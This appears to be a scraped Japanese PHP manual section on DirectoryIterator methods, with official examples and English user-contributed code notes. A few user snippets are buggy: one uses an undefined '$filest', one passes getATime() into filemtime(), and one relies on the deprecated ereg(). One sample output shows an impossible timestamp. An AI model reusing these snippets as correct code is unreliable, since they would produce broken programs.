  • DirectoryIterator::getPathname — 現在の DirectoryIterator アイテムのパスとファイル名を返す
  • DirectoryIterator::getPerms — 現在の DirectoryIterator アイテムのパーミッションを取得する
  • DirectoryIterator::getSize — 現在の DirectoryIterator アイテムのサイズを取得する
  • DirectoryIterator::getType — 現在の DirectoryIterator アイテムのタイプを判定する
  • DirectoryIterator::isDir — 現在の DirectoryIterator アイテムがディレクトリであるかどうかを調べる
  • DirectoryIterator::isDot — 現在の DirectoryIterator アイテムが '.' もしくは '..' であるかどうかを調べる
  • DirectoryIterator::isExecutable — 現在の DirectoryIterator アイテムが実行可能であるかどうかを調べる
  • DirectoryIterator::isFile — 現在の DirectoryIterator アイテムが通常のファイルであるかどうかを調べる
  • DirectoryIterator::isLink — 現在の DirectoryIterator アイテムがシンボリックリンクであるかどうかを調べる
  • DirectoryIterator::isReadable — 現在の DirectoryIterator アイテムが読込可能であるかどうかを調べる
  • DirectoryIterator::isWritable — 現在の DirectoryIterator アイテムが書き込み可能であるかどうかを調べる
  • DirectoryIterator::key — 現在の DirectoryIterator アイテムのキーを返す
  • DirectoryIterator::next — 次の DirectoryIterator アイテムに移動する
  • DirectoryIterator::rewind — DirectoryIterator を最初に巻き戻す
  • DirectoryIterator::seek — DirectoryIterator のアイテムを移動する
  • DirectoryIterator::__toString — ファイル名を文字列として取得する
  • DirectoryIterator::valid — 現在の DirectoryIterator の位置が有効なファイルであるかどうかチェックする

User Contributed Notes

incredimike 06-Mar-2018 12:03
For some reason, the `isDot()` method doesn't return positive for the `.DS_Store` file generated by Mac OS's Finder. In practice, I've had to write code to explicitly check for this file:

<?php

foreach (new DirectoryIterator('../moodle') as $fileInfo) {
    if($fileInfo->isDot() || $fileInfo->getBasename() === '.DS_Store') continue;
    echo $fileInfo->getFilename() . "<br>\n";
}

?>
alvaro at demogracia dot com 19-Oct-2017 03:27
DirectoryIterator is just an lightweight SplFileInfo iterator and its methods operate on whatever item the internal cursor points to. In other words:

<?php
$iterator = new DirectoryIterator('C:\\');
echo $iterator->getPathname();
?>

... will NOT print "C:\" but the path of the first file or subdirectory retrieved, e.g. "C:\$Recycle.Bin".
abdel at elghafoud dot com 20-Feb-2014 11:39
Shows us recursively all files and catalogues in directory except "." and "..".

<?php

/**
 * @param string $directory
 * @param array $files
 * @return array
 */
public function recursiveDirectoryIterator ($directory = null, $files = array()) {
    $iterator = new \DirectoryIterator ( $directory );

    foreach ( $iterator as $info ) {
        if ($info->isFile ()) {
            $files [$info->__toString ()] = $info;
        } elseif (!$info->isDot ()) {
            $list = array($info->__toString () => $this->recursiveDirectoryIterator(
                        $directory.DIRECTORY_SEPARATOR.$info->__toString ()
            ));
            if(!empty($files))
                $files = array_merge_recursive($files, $filest);
            else {
                $files = $list;
            }
        }
    }
    return $files;
}

?>
rogier at dsone dot nl 16-Aug-2012 06:23
Beware of the behavior when using FilesystemIterator::UNIX_PATHS, it's not applied as you might expect.

I guess this flag is added especially for use on windows.
However, the path you construct the RecursiveDirectoryIterator or FilesystemIterator with will not be available as a unix path.
I can't say this is a bug, since most methods are just purely inherited from DirectoryIterator.

In my test, I'd expected a complete unix path. Unfortunately... not quite as expected:

<?php
         // say $folder = C:\projects\lang

        $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS | FilesystemIterator::UNIX_PATHS;
        $d_iterator = new RecursiveDirectoryIterator($folder, $flags);

        echo $d_iterator->getPath();

?>

expected result: /projects/lang (or C:/projects/lang)
actual result: C:\projects\lang
Kunal Bhatia->kmasterzone@gmail dot com 15-Apr-2011 02:48
Deleting all files in a directory except the one which is last modified.
<?php
    $directory = dirname(__FILE__)."/demo";
    $filenames = array();
    $iterator = new DirectoryIterator($directory);
    foreach ($iterator as $fileinfo) {
        if ($fileinfo->isFile()) {
            $filenames[$fileinfo->getMTime()] = $fileinfo->getFilename();
        }
    }
    ksort($filenames);
    print_r($filenames);
    echo "\n";
    $i=0;
    if(sizeof($filenames)>1){
        foreach ($filenames as $file){
            if($i>0){
                echo $file."\n";
                unlink($directory."/".$file);
            }
            $i++;
        }
    }
?>
krystianmularczyk at gmail dot com 25-Jan-2009 03:31
Shows us all files and catalogues in directory except "." and "..".

<?php

foreach (new DirectoryIterator('../moodle') as $fileInfo) {
    if($fileInfo->isDot()) continue;
    echo $fileInfo->getFilename() . "<br>\n";
}

?>
David Lanstein 21-Jan-2009 12:50
DirectoryIterator::getBasename() has been also been available since 5.2.2, according to the changelog (not documented yet).  It takes a parameter $suffix, and is useful if, for instance, you use a naming convention for your files (e.g. ClassName.php).

The following code uses this to add recursively All*Tests.php in any subdirectory off of tests/, basically, suites of suites.

<?php
// PHPUnit boilerplate code goes here

class AllTests {
    public static function main() {
        $parameters = array('verbose' => true);
        PHPUnit_TextUI_TestRunner::run(self::suite(), $parameters);
    }

    public static function suite() {
        $suite = new PHPUnit_Framework_TestSuite('AllMyTests'); // this must be something different than the class name, per PHPUnit
        $it = new AllTestsFilterIterator(
                  new RecursiveIteratorIterator(
                      new RecursiveDirectoryIterator(dirname(__FILE__) . '/tests')));

        for ($it->rewind(); $it->valid(); $it->next()) {
            require_once($it->current());
            $className = $it->current()->getBasename('.php');
            $suite->addTest($className::suite());
        }

        return $suite;
    }
}
?>

Also, the AllTestsFilterIterator above extends FilterIterator, and contains one method, accept():

<?php
class AllTestsFilterIterator extends FilterIterator {
    public function accept() {
        if (preg_match('/All.*Tests\.php/', $this->current())) {
            return true;
        } else {
            return false;
        }
    }
}
?>
Mark van Straten 09-Jul-2008 07:56
Implements Iterator so you can foreach() over the content of the given directory


パスから新規ディレクトリイテレータを生成する

  • ≪ DirectoryIterator
  • DirectoryIterator::current ≫
  • PHP Manual
  • DirectoryIterator
  • パスから新規ディレクトリイテレータを生成する

DirectoryIterator::__construct

(PHP 5, PHP 7)

DirectoryIterator::__construct — パスから新規ディレクトリイテレータを生成する

説明

public DirectoryIterator::__construct ( string $path )

パスから新規ディレクトリイテレータを生成します。

パラメータ

path

処理したいディレクトリのパス。

エラー / 例外

path が開けない場合に UnexpectedValueException をスローします。

path が空文字列の場合に RuntimeException をスローします。

例

例1 DirectoryIterator::__construct() の例

この例は、スクリプト自身がいるディレクトリの中身を一覧表示します。

<?php
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo) {
    if (!$fileinfo->isDot()) {
        var_dump($fileinfo->getFilename());
    }
}
?>

参考

  • SplFileInfo
  • Iterator

User Contributed Notes

h.man 08-Mar-2021 05:30
RecursiveDirectoryIterator seems to close file handles that are currently open. After using it "PHP Warning:  fwrite(): supplied resource is not a valid stream resource in..." is given...
ahmad dot mayahi at gmail dot com 12-Mar-2020 06:57
Many developers get confused between DirectoryIterator and FilesystemIterator, there are a few small differences that I'm goning to list them here:

DirectoryIterator:
* Includes the "." and ".." within the path.
* Numberd keys.
* Path is not included in in value.
* No configuration available.
* You do need to use "clone" when storing the elements into an array.

Example:
<?php
$files = [];
foreach ($dir as $key => $item) {
    echo $key.PHP_EOL; // The key is a number
    $files[] = $item;
}

echo $files[0]->getFilename(); // nothing happens here, you do need to use clone $item inside the foreach

?>

FilesystemIterator:
* Dot files skipped.
* Pathname is used as a key as well as a value.
* Configurable.
* Uses SplFileInfo to store the files.

"FilesystemIterator" it's an enhanced version of DirectoryIterator, and I prefer to use it instead of the DirectoryIterator.
cmanley at example dot com 22-Apr-2019 07:10
Beware that DirectoryIterator returns a reference to itself with each iteration instead of a unique new SplFileInfo object as one may first assume.
This is important to know if you want to push the results of an iteration into an array for later processing.
If you do that, then all entries in the array will be the same DirectoryIterator object with the same internal state (most likely invalid - see the valid() method), which is probably not what you want.
So if you do want to store the iteration results in an array, then you must convert them to either plain strings  or new SplFileInfo objects first.

$todo = [];
foreach (new DirectoryIterator('/some/dir') as $entry) {
    if (!$entry->isFile()) {
        continue;
    }
    #$todo []= $entry; # Don't do this!
    $todo []= new SplFileInfo($entry->getFilename());    # Do this!
    #$todo []= $entry->getFilename();    # or do this if you're only interested in the file name.
}
a dot lyskawa at nisza dot org 18-Dec-2009 12:55
Here's all-in-one DirectoryIterator:

<?php

/**
 * Real Recursive Directory Iterator
 */
class RRDI extends RecursiveIteratorIterator {
  /**
   * Creates Real Recursive Directory Iterator
   * @param string $path
   * @param int $flags
   * @return DirectoryIterator
   */
  public function __construct($path, $flags = 0) {
    parent::__construct(new RecursiveDirectoryIterator($path, $flags));
  }
}

/**
 * Real RecursiveDirectoryIterator Filtered Class
 * Returns only those items which filenames match given regex
 */
class AdvancedDirectoryIterator extends FilterIterator {
  /**
   * Regex storage
   * @var string
   */
  private $regex;
  /**
   * Creates new AdvancedDirectoryIterator
   * @param string $path, prefix with '-R ' for recursive, postfix with /[wildcards] for matching
   * @param int $flags
   * @return DirectoryIterator
   */
  public function  __construct($path, $flags = 0) {
    if (strpos($path, '-R ') === 0) { $recursive = true; $path = substr($path, 3); }
    if (preg_match('~/?([^/]*\*[^/]*)$~', $path, $matches)) { // matched wildcards in filename
      $path = substr($path, 0, -strlen($matches[1]) - 1); // strip wildcards part from path
      $this->regex = '~^' . str_replace('*', '.*', str_replace('.', '\.', $matches[1])) . '$~'; // convert wildcards to regex
      if (!$path) $path = '.'; // if no path given, we assume CWD
    }
    parent::__construct($recursive ? new RRDI($path, $flags) : new DirectoryIterator($path));
  }
  /**
   * Checks for regex in current filename, or matches all if no regex specified
   * @return bool
   */
  public function accept() { // FilterIterator method
    return $this->regex === null ? true : preg_match($this->regex, $this->getInnerIterator()->getFilename());
  }
}

?>

Some examples:

<?php

/* @var $i DirectoryIterator */

foreach (new AdvancedDirectoryIterator('.') as $i) echo $i->getPathname() . '<br/>';
// will output all files and directories in CWD

foreach (new AdvancedDirectoryIterator('-R *.php') as $i) echo $i->getPathname() . '<br/>';
// will output all php files in CWD and all subdirectories

foreach (new AdvancedDirectoryIterator('-R js/jquery-*.js') as $i) echo $i->getPathname() . '<br/>';
// will output all jQuery versions in directory js, or throw an exception if directory js doesn't exist

?>

Pretty cool, huh? :)
kendsnyder at gmail dot com 04-Dec-2008 11:54
Don't store DirectoryIterator objects for later; you will get an error saying "too many open files" when you store more than the operating system limit (usually 256 or 1024).

For example, this will yield an error if the directory has too many files:

<?php
$files = array();
foreach (new DirectoryIterator('myDir') as $file) {
  $files[] = $file;
}
?>

Presumably, this approach is memory intensive as well.
pcdinh at phpvietnam dot net 12-Aug-2007 07:55
I need to traverse recursively through a directory tree and get all sub-directory paths and has written a snippet to do that.

<?php
$path = "D:\webroot\phpvietnamcms";
foreach (new RecursiveIteratorIterator(
           new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::KEY_AS_PATHNAME), RecursiveIteratorIterator::CHILD_FIRST) as $file => $info) {
    if ($info->isDir())
    {
        echo $file."<br />";
    }
}

?>
goran at extensionsforjoomla dot com 20-Jun-2007 04:44
I needed to match in directory tree file name(s) by regular expression. Code is based on Marcus Borger class DirectoryTreeIterator http://cvs.php.net/viewvc.cgi/php-src/ext/spl/examples/ and on examples given in his lecture Introduction to object oriented PHP at PHP Quebec conference 2007 http://talks.somabo.de/
<?php
class KeyFilter extends FilterIterator
{
  private $_rx;

  function __construct(Iterator $it, $regex)
  {
    parent::__construct($it);
    $this->_rx= $regex;
  }

  function accept()
  {
    return ereg($this->_rx,$this->getInnerIterator()->key());
  }

  protected function __clone() {
    return false;
  }
}

class DirMach extends KeyFilter
{
  function __construct($path , $regex)
  {
    parent::__construct(
    new DirectoryTreeIterator($path), $regex);
  }

  function current()
  {
    return parent::key();
  }

  function key()
  {
    return parent::key();
  }
}

class DirectoryTreeIterator extends RecursiveIteratorIterator
{
    /** Construct from a path.
     * @param $path directory to iterate
     */
    function __construct($path)
    {
     try {
      parent::__construct(
            new RecursiveCachingIterator(
                new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::KEY_AS_FILENAME
                ),
                CachingIterator::CALL_TOSTRING|CachingIterator::CATCH_GET_CHILD
            ),
            parent::SELF_FIRST
        );
     } catch(Exception $e) {
       echo $e->getMessage();
       exit;
     }
    }

    /** @return the current element prefixed with ASCII graphics
     */
    function current()
    {
      if ($this->hasChildren())
        $this->next();
      return $this->key();
    }

    /** Aggregates the inner iterator
     */
    function __call($func, $params)
    {
      return call_user_func_array(array($this->getSubIterator(), $func), $params);
    }
}
$PathToSearch = 'path_to_search';
$regex = 'regular_expression';
$FileList = new DirMach($PathToSearch, $regex);
foreach ($FileList as $file) {
  $match[] = $file;
}
echo '<pre>';
var_dump($match);
echo '</pre>';
?>
springub at northclick dot de 13-Dec-2006 04:26
udvig dot ericson at gmail dot com
29-Jul-2006 07:48

In response to the comment below from udvig. The Example ist wrong, here is the right one:

<?php
$dir = new DirectoryIterator("/tmp");
foreach ($dir as $file) {
   if ($file->isDot()) {
       continue;
   }
   echo $file->getFilename() . "\n";
}
?>
fernandobassani at gmail dot com 25-Jan-2006 10:36
We can now replace the old fashioned way of listing the content from a directory!

the old way:
<?php
if ($handle = opendir('/home/fernando/temp')) {
    while (false !== ($file = readdir($handle))) {
        if ($file != "." && $file != "..") {
            print "$file <br />";
        }
    }
    closedir($handle);
}
?>

the new way:
<?php
$dir = new DirectoryIterator('/home/fernando/temp');
while($dir->valid()) {
    if(!$dir->isDot()) {
        print $dir->current()."<br />";
    }
    $dir->next();
}
?>


現在の DirectoryIterator アイテムを返す

  • ≪ DirectoryIterator::__construct
  • DirectoryIterator::getATime ≫
  • PHP Manual
  • DirectoryIterator
  • 現在の DirectoryIterator アイテムを返す

DirectoryIterator::current

(PHP 5, PHP 7)

DirectoryIterator::current — 現在の DirectoryIterator アイテムを返す

説明

public DirectoryIterator::current ( ) : DirectoryIterator

現在の DirectoryIterator アイテムを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

現在の DirectoryIterator アイテムを返します。

例

例1 DirectoryIterator::current() の例

この例は、スクリプトを含むディレクトリの中身を一覧表示します。

<?php
$iterator = new DirectoryIterator(__DIR__);
while($iterator->valid()) {
    $file = $iterator->current();
    echo $iterator->key() . " => " . $file->getFilename() . "\n";
    $iterator->next();
}
?>

上の例の出力は、 たとえば以下のようになります。

0 => .
1 => ..
2 => apple.jpg
3 => banana.jpg
4 => index.php
5 => pear.jpg

参考

  • DirectoryIterator::key() - 現在の DirectoryIterator アイテムのキーを返す
  • DirectoryIterator::next() - 次の DirectoryIterator アイテムに移動する
  • DirectoryIterator::rewind() - DirectoryIterator を最初に巻き戻す
  • DirectoryIterator::valid() - 現在の DirectoryIterator の位置が有効なファイルであるかどうかチェックする
  • Iterator::current() - 現在の要素を返す

User Contributed Notes

There are no user contributed notes for this page.


現在の DirectoryIterator アイテムの最終アクセス時刻を取得する

  • ≪ DirectoryIterator::current
  • DirectoryIterator::getBasename ≫
  • PHP Manual
  • DirectoryIterator
  • 現在の DirectoryIterator アイテムの最終アクセス時刻を取得する

DirectoryIterator::getATime

(PHP 5, PHP 7)

DirectoryIterator::getATime — 現在の DirectoryIterator アイテムの最終アクセス時刻を取得する

説明

public DirectoryIterator::getATime ( ) : int

現在の DirectoryIterator アイテムの最終アクセス時刻を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルの最終アクセス時刻を、Unix タイムスタンプで返します。

例

例1 DirectoryIterator::getATime() の例

スクリプトのディレクトリ内のファイルの一覧と、その最終アクセス時刻を表示します。

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if ($fileinfo->isFile()) {
        echo $fileinfo->getFilename() . " " . $fileinfo->getATime() . "\n";
    }
}
?>

上の例の出力は、 たとえば以下のようになります。

apple.jpg 1240047118
banana.jpg 1240065176
index.php 1240047208
pear.jpg 12240047979

参考

  • DirectoryIterator::getCTime() - 現在の DirectoryIterator アイテムの inode 修正時刻を取得する
  • DirectoryIterator::getMTime() - 現在の DirectoryIterator アイテムの最終修正時刻を取得する
  • fileatime() - ファイルの最終アクセス時刻を取得する

User Contributed Notes

petweb at quaint dot info 15-Aug-2008 06:21
Note that, as with filetime, the returned value is a Unix timestamp. So it can be used with the date() function;

date ("F d Y H:i:s.", filemtime($file->getATime()));


現在の DirectoryIterator のアイテムのベース名を取得する

  • ≪ DirectoryIterator::getATime
  • DirectoryIterator::getCTime ≫
  • PHP Manual
  • DirectoryIterator
  • 現在の DirectoryIterator のアイテムのベース名を取得する

DirectoryIterator::getBasename

(PHP 5 >= 5.2.2, PHP 7)

DirectoryIterator::getBasename — 現在の DirectoryIterator のアイテムのベース名を取得する

説明

public DirectoryIterator::getBasename ( string $suffix = ? ) : string

現在の DirectoryIterator のアイテムのベース名を取得します。

パラメータ

suffix

ベース名が suffix で終わる場合は、これがカットされます。

返り値

現在の DirectoryIterator のアイテムのベース名を返します。

例

例1 DirectoryIterator::getBasename() の例

この例は、スクリプトがあるディレクトリ内のファイルについて 完全なベース名と最後の .jpg を取り除いたベース名を一覧表示します。

<?php
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo) {
    if ($fileinfo->isFile()) {
        echo $fileinfo->getBasename() . "\n";
        echo $fileinfo->getBasename('.jpg') . "\n";
    }
}
?>

上の例の出力は、 たとえば以下のようになります。

apple.jpg
apple
banana.jpg
banana
index.php
index.php
pear.jpg
pear

参考

  • DirectoryIterator::getFilename() - 現在の DirectoryIterator アイテムのファイル名を返す
  • DirectoryIterator::getPath() - 現在の Iterator アイテムのパスをファイル名抜きで返す
  • DirectoryIterator::getPathname() - 現在の DirectoryIterator アイテムのパスとファイル名を返す
  • basename() - パスの最後にある名前の部分を返す
  • pathinfo() - ファイルパスに関する情報を返す

User Contributed Notes

There are no user contributed notes for this page.


現在の DirectoryIterator アイテムの inode 修正時刻を取得する

  • ≪ DirectoryIterator::getBasename
  • DirectoryIterator::getExtension ≫
  • PHP Manual
  • DirectoryIterator
  • 現在の DirectoryIterator アイテムの inode 修正時刻を取得する

DirectoryIterator::getCTime

(PHP 5, PHP 7)

DirectoryIterator::getCTime — 現在の DirectoryIterator アイテムの inode 修正時刻を取得する

説明

public DirectoryIterator::getCTime ( ) : int

現在の DirectoryIterator アイテムの inode 修正時刻を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルの最終更新時刻を、Unix タイムスタンプで返します。

例

例1 DirectoryIterator::getCTime() の例

この例は、スクリプトのディレクトリ内のファイルのファイル名と、その最終更新時刻を表示します。

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if ($fileinfo->isFile()) {
        echo $fileinfo->getFilename() . " changed at " . $fileinfo->getCTime() . "\n";
    }
}
?>

上の例の出力は、 たとえば以下のようになります。

apple.jpg changed at 1240398312
banana.jpg changed at 1238605440
index.php changed at 1240398935
pear.jpg changed at 1237423740

参考

  • DirectoryIterator::getATime() - 現在の DirectoryIterator アイテムの最終アクセス時刻を取得する
  • DirectoryIterator::getMTime() - 現在の DirectoryIterator アイテムの最終修正時刻を取得する
  • filectime() - ファイルの inode 変更時刻を取得する

User Contributed Notes

There are no user contributed notes for this page.


ファイルの拡張子を取得する

  • ≪ DirectoryIterator::getCTime
  • DirectoryIterator::getFilename ≫
  • PHP Manual
  • DirectoryIterator
  • ファイルの拡張子を取得する

DirectoryIterator::getExtension

(PHP 5 >= 5.3.6, PHP 7)

DirectoryIterator::getExtension — ファイルの拡張子を取得する

説明

public DirectoryIterator::getExtension ( ) : string

ファイルの拡張子を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルの拡張子を文字列で返します。もし拡張しがない場合は空文字列を返します。

例

例1 DirectoryIterator::getExtension() の例

<?php

$directory = new DirectoryIterator(__DIR__);
foreach ($directory as $fileinfo) {
    if ($fileinfo->isFile()) {
        echo $fileinfo->getExtension() . "\n";
    }
}

?>

上の例の出力は、 たとえば以下のようになります。

php
txt
jpg
gz

注意

注意:

このメソッドは PHP 5.3.6 以降でしか使えません。 このメソッドを使わずに拡張子を取得するには pathinfo() 関数を使います。

<?php
$extension = pathinfo($fileinfo->getFilename(), PATHINFO_EXTENSION);
?>

参考

  • DirectoryIterator::getFilename() - 現在の DirectoryIterator アイテムのファイル名を返す
  • DirectoryIterator::getBasename() - 現在の DirectoryIterator のアイテムのベース名を取得する
  • pathinfo() - ファイルパスに関する情報を返す

User Contributed Notes

There are no user contributed notes for this page.


現在の DirectoryIterator アイテムのファイル名を返す

  • ≪ DirectoryIterator::getExtension
  • DirectoryIterator::getGroup ≫
  • PHP Manual
  • DirectoryIterator
  • 現在の DirectoryIterator アイテムのファイル名を返す

DirectoryIterator::getFilename

(PHP 5, PHP 7)

DirectoryIterator::getFilename — 現在の DirectoryIterator アイテムのファイル名を返す

説明

public DirectoryIterator::getFilename ( ) : string

現在の DirectoryIterator アイテムのファイル名を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

現在の DirectoryIterator アイテムのファイル名を返します。

例

例1 DirectoryIterator::getFilename() の例

この例は、スクリプトを含むディレクトリの中身を一覧表示します。

<?php
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo) {
    echo $fileinfo->getFilename() . "\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

.
..
apple.jpg
banana.jpg
index.php
pear.jpg

参考

  • DirectoryIterator::getBasename() - 現在の DirectoryIterator のアイテムのベース名を取得する
  • DirectoryIterator::getPath() - 現在の Iterator アイテムのパスをファイル名抜きで返す
  • DirectoryIterator::getPathname() - 現在の DirectoryIterator アイテムのパスとファイル名を返す
  • pathinfo() - ファイルパスに関する情報を返す

User Contributed Notes

There are no user contributed notes for this page.


現在の DirectoryIterator アイテムのグループを取得する

  • ≪ DirectoryIterator::getFilename
  • DirectoryIterator::getInode ≫
  • PHP Manual
  • DirectoryIterator
  • 現在の DirectoryIterator アイテムのグループを取得する

DirectoryIterator::getGroup

(PHP 5, PHP 7)

DirectoryIterator::getGroup — 現在の DirectoryIterator アイテムのグループを取得する

説明

public DirectoryIterator::getGroup ( ) : int

ファイルのグループ ID を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

現在の DirectoryIterator アイテムのグループ ID を数値形式で返します。

例

例1 DirectoryIterator::getGroup() の例

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
$groupid  = $iterator->getGroup();
echo 'Directory belongs to group id ' . $groupid . "\n";
print_r(posix_getgrgid($groupid));
?>

上の例の出力は、 たとえば以下のようになります。

Directory belongs to group id 42
Array
(
    [name]    => toons
    [passwd]  => x
    [members] => Array
        (
            [0] => tom
            [1] => jerry
        )
    [gid]     => 42
)

参考

  • DirectoryIterator::getiNode() - 現在の DirectoryIterator アイテムの inode を取得する
  • DirectoryIterator::getOwner() - 現在の DirectoryIterator アイテムの所有者を取得する
  • DirectoryIterator::getPerms() - 現在の DirectoryIterator アイテムのパーミッションを取得する
  • filegroup() - ファイルのグループを取得する
  • posix_getgrgid() - 指定したグループ ID を有するグループに関する情報を返す

User Contributed Notes

There are no user contributed notes for this page.


現在の DirectoryIterator アイテムの inode を取得する

  • ≪ DirectoryIterator::getGroup
  • DirectoryIterator::getMTime ≫
  • PHP Manual
  • DirectoryIterator
  • 現在の DirectoryIterator アイテムの inode を取得する

DirectoryIterator::getInode

(PHP 5, PHP 7)

DirectoryIterator::getInode — 現在の DirectoryIterator アイテムの inode を取得する

説明

public DirectoryIterator::getInode ( ) : int

現在の DirectoryIterator アイテムの inode 番号を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルの inode 番号を返します。

例

例1 DirectoryIterator::getInode() の例

この例は、スクリプトを含むディレクトリの inode 番号を表示します。

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
echo $iterator->getInode();
?>

参考

  • DirectoryIterator::getGroup() - 現在の DirectoryIterator アイテムのグループを取得する
  • DirectoryIterator::getOwner() - 現在の DirectoryIterator アイテムの所有者を取得する
  • DirectoryIterator::getPerms() - 現在の DirectoryIterator アイテムのパーミッションを取得する
  • fileinode() - ファイルの inode を取得する

User Contributed Notes

There are no user contributed notes for this page.


現在の DirectoryIterator アイテムの最終修正時刻を取得する

  • ≪ DirectoryIterator::getInode
  • DirectoryIterator::getOwner ≫
  • PHP Manual
  • DirectoryIterator
  • 現在の DirectoryIterator アイテムの最終修正時刻を取得する

DirectoryIterator::getMTime

(PHP 5, PHP 7)

DirectoryIterator::getMTime — 現在の DirectoryIterator アイテムの最終修正時刻を取得する

説明

public DirectoryIterator::getMTime ( ) : int

現在の DirectoryIterator アイテムの最終修正時刻を Unix タイムスタンプで取得します。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルの最終修正時刻を、Unix タイムスタンプで返します。

例

例1 DirectoryIterator::getMTime() の例

スクリプトのディレクトリ内のファイルの一覧と、その最終修正時刻を表示します。

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if ($fileinfo->isFile()) {
        echo $fileinfo->getFilename() . " " . $fileinfo->getMTime() . "\n";
    }
}
?>

上の例の出力は、 たとえば以下のようになります。

apple.jpg 1240047118
banana.jpg 1240065176
index.php 1240047208
pear.jpg 12240047979

参考

  • DirectoryIterator::getATime() - 現在の DirectoryIterator アイテムの最終アクセス時刻を取得する
  • DirectoryIterator::getCTime() - 現在の DirectoryIterator アイテムの inode 修正時刻を取得する
  • filemtime() - ファイルの更新時刻を取得する

User Contributed Notes

There are no user contributed notes for this page.


現在の DirectoryIterator アイテムの所有者を取得する

  • ≪ DirectoryIterator::getMTime
  • DirectoryIterator::getPath ≫
  • PHP Manual
  • DirectoryIterator
  • 現在の DirectoryIterator アイテムの所有者を取得する

DirectoryIterator::getOwner

(PHP 5, PHP 7)

DirectoryIterator::getOwner — 現在の DirectoryIterator アイテムの所有者を取得する

説明

public DirectoryIterator::getOwner ( ) : int

現在の DirectoryIterator アイテムの所有者を、数値形式で取得します。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルの所有者を、数値形式で返します。

例

例1 DirectoryIterator::getOwner() の例

この例は、スクリプトのあるディレクトリの所有者を表示します。

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
print_r(posix_getpwuid($iterator->getOwner()));
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [name] => tom
    [passwd] => x
    [uid] => 501
    [gid] => 42
    [gecos] => Tom Cat
    [dir] => /home/tom
    [shell] => /bin/bash
)

参考

  • DirectoryIterator::getGroup() - 現在の DirectoryIterator アイテムのグループを取得する
  • DirectoryIterator::getiNode() - 現在の DirectoryIterator アイテムの inode を取得する
  • DirectoryIterator::getPerms() - 現在の DirectoryIterator アイテムのパーミッションを取得する
  • posix_getpwuid() - 指定 ID のユーザーに関する情報を返す

User Contributed Notes

There are no user contributed notes for this page.


現在の Iterator アイテムのパスをファイル名抜きで返す

  • ≪ DirectoryIterator::getOwner
  • DirectoryIterator::getPathname ≫
  • PHP Manual
  • DirectoryIterator
  • 現在の Iterator アイテムのパスをファイル名抜きで返す

DirectoryIterator::getPath

(PHP 5, PHP 7)

DirectoryIterator::getPath — 現在の Iterator アイテムのパスをファイル名抜きで返す

説明

public DirectoryIterator::getPath ( ) : string

現在の DirectoryIterator アイテムのパスを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルへのパスを返します。ファイル名や最後のスラッシュは省略します。

例

例1 DirectoryIterator::getPath() の例

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
echo $iterator->getPath();
?>

上の例の出力は、 たとえば以下のようになります。

/home/examples/public_html

参考

  • DirectoryIterator::getBasename() - 現在の DirectoryIterator のアイテムのベース名を取得する
  • DirectoryIterator::getFilename() - 現在の DirectoryIterator アイテムのファイル名を返す
  • DirectoryIterator::getPathname() - 現在の DirectoryIterator アイテムのパスとファイル名を返す
  • pathinfo() - ファイルパスに関する情報を返す

User Contributed Notes

xcojack at gmail dot com 04-Apr-2012 12:19
If you wish to get a part of path you can use function like this:

<?php
/**
 * Return a part of path by depth
 *
 * @param $path string
 * @param $depth int
 * @return mixed string on success, false on failure
 */
function getPartPath($path = '', $depth = 0) {
    $pathArray = array();
    $pathArray = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR));
    if($depth < 0)
        $depth = count($pathArray)+$depth;

    if(!isset($pathArray[$depth]))
        return false;
    return $pathArray[$depth];
}
?>

usage:

<?php
$a = "/var/www/foo/trunk/bar/tools/php/simplelocal";

var_dump(getPartPath($a, -2)); // returns php
var_dump(getPartPath($a, 0)); // returns var
var_dump(getPartPath($a, -1)); // returns simplelocal
?>

etc...

Regards.


現在の DirectoryIterator アイテムのパスとファイル名を返す

  • ≪ DirectoryIterator::getPath
  • DirectoryIterator::getPerms ≫
  • PHP Manual
  • DirectoryIterator
  • 現在の DirectoryIterator アイテムのパスとファイル名を返す

DirectoryIterator::getPathname

(PHP 5, PHP 7)

DirectoryIterator::getPathname — 現在の DirectoryIterator アイテムのパスとファイル名を返す

説明

public DirectoryIterator::getPathname ( ) : string

現在のファイルのパスとファイル名を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

現在のファイルのパスとファイル名を返します。 ディレクトリの最後のスラッシュは含めません。

例

例1 DirectoryIterator::getPathname() の例

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    echo $fileinfo->getPathname() . "\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

/home/examples/.
/home/examples/..
/home/examples/apple.jpg
/home/examples/banana.jpg
/home/examples/getpathname.php
/home/examples/pear.jpg

参考

  • DirectoryIterator::getBasename() - 現在の DirectoryIterator のアイテムのベース名を取得する
  • DirectoryIterator::getFilename() - 現在の DirectoryIterator アイテムのファイル名を返す
  • DirectoryIterator::getPath() - 現在の Iterator アイテムのパスをファイル名抜きで返す
